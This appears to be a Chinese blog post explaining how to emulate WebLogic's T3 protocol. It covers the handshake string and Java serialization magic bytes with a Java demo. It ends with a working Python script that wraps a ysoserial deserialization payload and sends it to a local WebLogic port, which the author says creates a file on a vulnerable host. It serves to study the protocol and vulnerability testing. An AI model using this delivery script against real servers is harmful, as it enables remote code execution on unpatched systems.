前言
前段时间总结了weblogic历年来的rce漏洞,并编写了poc,这些漏洞中有好几个都要用到T3协议来发送序列化数据,所以需要用python来模拟实现t3协议,当然t3协议脚本,github上就可以找到,虽然用别人的脚本改一下也可以完成数据的发送,但是我还是很好奇这个t3协议到底怎么构造的,怎么发送数据的,他的协议格式是什么样的,于是再一番查阅资料过后,有了这篇文章。
这是正题
废话不多说,先丢一份参考资料,当中关于如何模拟t3协议数据包讲的很详细,我这里只是实操一下
http://drops.xmd5.com/static/drops/web-13470.html
为了直观,我先用wireshark抓一个t3通信的数据包,并以ascii方式显示
红色内容为我们发给weblogic的数据,蓝色为weblogic返回的数据
第一段红色数据相当于一个握手包,发给weblogic,然后webligc回复,这一段包很好构造,直接发送
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n
就行,重点是第二个包的构造,我们在wireshark中以hex模式查看数据流,如下
在继续之前,我们需要知道java反序列化数据都有一个特征数字:ac ed ,ac ed后面跟版本号(也就是上面的 00 05), 这个我们也可以通过实验证明:
import
java
.
io
.
*
;
public
class
Ser
{
public
static
void
main
(
String
[
]
args
)
throws
IOException
{
File file
=
new
File
(
"test.txt"
)
;
FileOutputStream out
=
new
FileOutputStream
(
file
)
;
ObjectOutputStream obj
=
new
ObjectOutputStream
(
out
)
;
obj
.
writeObject
(
(
new
Test1
(
"axin"
,
18
)
)
)
;
}
}
class
Test1
implements
Serializable
{
String name
;
int
age
;
Test1
(
String name
,
int
age
)
{
this
.
name
=
name
;
this
.
age
=
age
;
}
public
void
show
(
)
{
System
.
out
.
println
(
"年龄:"
+
age
+
",姓名:"
+
name
)
;
}
}
上面是一小段java序列化的demo, 大概功能就是序列化Test1的对象并写入test.txt文件中,运行程序,我们可以看到工程目录下生成了test.txt文件,我们用一个可以以16进制展示文件的工具打开test.txt,我linux环境下用的xxd(使用方法:xxd 文件名),可以看到文件内容如下:
可以看到,这个序列化后的对象,开头几个数字也是aced0005。所以根据抓包结果,我一共在其中找到了五个aced,也就是说它t3协议发送了五个序列化后的对象,这和参考文章中所说的六个有所出入(以下是参考文章中的图片,借用一下)
虽然上图中的数据包和我所抓到的数据包有所出入,但是并不影响我们的分析,由上图可以看到以aced开头的有六部分,还有第一部分是一些额外的数据(直接拷贝就行),这个第一部分的前四个字节,也就是上图中的
00 00 06 af
是整个数据包的大小,单位是字节,所以这一点是我们在模拟t3协议需要特别关注的。
然后按照参考文章中所说,构造数据包一般来讲有两种方式,
- 替换aced开头的六个部分中的任意一个
- 直接将包含数据包长度的第一部分和我们的恶意序列化数据进行拼接(也就是用一个恶意序列化数据替换掉常规包中所有aced开头的序列化数据)
注:图片都来自参考文章
然后在参考别人写的t3协议脚本的时候还注意到一个细节,那就是如果采用第一种替换方式,那么你还需要在你的恶意序列化数据的结尾加上
fe010000
,不知道为什么每个序列化数据都是用这几个字节隔开的,你可以通过上面的数据包截图观察到这一点。
但是如果你采用第二种方式构造数据包的话,就不需要担心这个问题,直接拼接就ok了。下面是我采用的第二种方式实现的一个python 模拟t3协议发送数据的脚本
# -*- coding:utf-8 -*-
import
binascii
import
socket
import
time
def
t3
(
)
:
hello
=
't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
host
=
(
'127.0.0.1'
,
7001
)
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
sock
.
settimeout
(
15
)
sock
.
connect
(
host
)
sock
.
send
(
hello
.
encode
(
'utf-8'
)
)
time
.
sleep
(
1
)
resp1
=
sock
.
recv
(
1024
)
print
(
resp1
)
data1
=
'016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
with
open
(
'poc'
,
'rb'
)
as
f
:
a
=
binascii
.
b2a_hex
(
f
.
read
(
)
)
.
decode
(
'utf-8'
)
print
(
a
)
data
=
data1
+
a
data
=
'%s%s'
%
(
'{:08x}'
.
format
(
len
(
data
)
//
2
+
4
)
,
data
)
sock
.
send
(
binascii
.
a2b_hex
(
data
)
)
time
.
sleep
(
2
)
sock
.
send
(
binascii
.
a2b_hex
(
data
)
)
if
__name__
==
"__main__"
:
t3
(
)
其中poc文件存放着我利用ysoserial工具生成的一个payload,这个payload如果成功被有漏洞的weblogic反序列化的话就会在目标主机的/tmp目录下创建一个axin.txt文件,当执行该脚本后,我们去目标机上看一下: